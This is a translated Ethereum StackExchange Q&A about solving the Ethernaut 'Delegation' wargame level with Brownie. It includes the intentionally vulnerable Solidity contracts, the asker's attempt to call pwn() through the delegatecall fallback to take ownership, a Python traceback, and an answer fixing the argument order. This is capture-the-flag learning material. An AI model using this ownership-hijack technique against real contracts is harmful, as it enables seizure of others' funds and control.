Solidity

布朗尼的委託電話

  • January 24, 2022

我正在嘗試在 Brownie 中執行委託呼叫,以解決 Ethernaut 應用程序中的委託任務,以聲明委託契約的所有權(見下文)。Brownie中的以下解決方案(在 Ethernaut App 中有效)的等價物是sendTransaction({from: player, to: contract.address, data: web3.eth.abi.encodeFunctionSignature("pwn()")})什麼?

我的解決方案不斷失敗,原因是:TypeError: int() argument must be a string, a bytes-like object or a number, not 'dict'

我的解決方案是:

data_to_send = keccak(text="pwn()")[0:4].hex()
my_account.transfer(delegate_contract_address, data_to_send, {"from": my_account})

請問有沒有人可以幫我解決這個問題?先感謝您。

契約:(也可以在這裡看到Ethernaut 6.Delegation

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

 address public owner;

 constructor(address _owner) public {
   owner = _owner;
 }

 function pwn() public {
   owner = msg.sender;
 }
}

contract Delegation {

 address public owner;
 Delegate delegate;

 constructor(address _delegateAddress) public {
   delegate = Delegate(_delegateAddress);
   owner = msg.sender;
 }

 fallback() external {
   (bool result,) = address(delegate).delegatecall(msg.data);
   if (result) {
     this;
   }
 }
}

追溯:

File "C:\Users\pracovni\.local\pipx\venvs\eth-brownie\lib\site-packages\brownie\_cli\run.py", line 50, in main
   return_value, frame = run(
 File "C:\Users\pracovni\.local\pipx\venvs\eth-brownie\lib\site-packages\brownie\project\scripts.py", line 103, in run
   return_value = f_locals[method_name](*args, **kwargs)
 File ".\scripts\delegation.py", line 30, in main
   claim_ownership_of_delegate_contract()
 File ".\scripts\delegation.py", line 23, in claim_ownership_of_delegate_contract
   my_account.transfer(delegate_contract_address, data_to_send, {"from": my_account})
 File "C:\Users\pracovni\.local\pipx\venvs\eth-brownie\lib\site-packages\brownie\network\account.py", line 644, in transfer
   receipt, exc = self._make_transaction(
 File "C:\Users\pracovni\.local\pipx\venvs\eth-brownie\lib\site-packages\brownie\network\account.py", line 723, in _make_transaction     
   gas_limit = Wei(gas_limit) or self._gas_limit(
 File "C:\Users\pracovni\.local\pipx\venvs\eth-brownie\lib\site-packages\brownie\convert\datatypes.py", line 47, in __new__
   return super().__new__(cls, _to_wei(value))  # type: ignore
 File "C:\Users\pracovni\.local\pipx\venvs\eth-brownie\lib\site-packages\brownie\convert\datatypes.py", line 108, in _to_wei
   return _return_int(original, value)
 File "C:\Users\pracovni\.local\pipx\venvs\eth-brownie\lib\site-packages\brownie\convert\datatypes.py", line 122, in _return_int
   return int(value)
TypeError: int() argument must be a string, a bytes-like object or a number, not 'dict'

如果您閱讀Brownie 的 Account 類文件,您會發現 for 的參數transfer()是:

Account.transfer(self, to=None, amount=0, gas_limit=None, gas_price=None, max_fee=None, priority_fee=None, data=None, nonce=None, required_confs=1, allow_revert=None, silent=False)

你正在傳遞data_to_sendamount. 金額是附加到交易的 ETH 金額,而不是數據欄位。

引用自:https://ethereum.stackexchange.com/questions/119792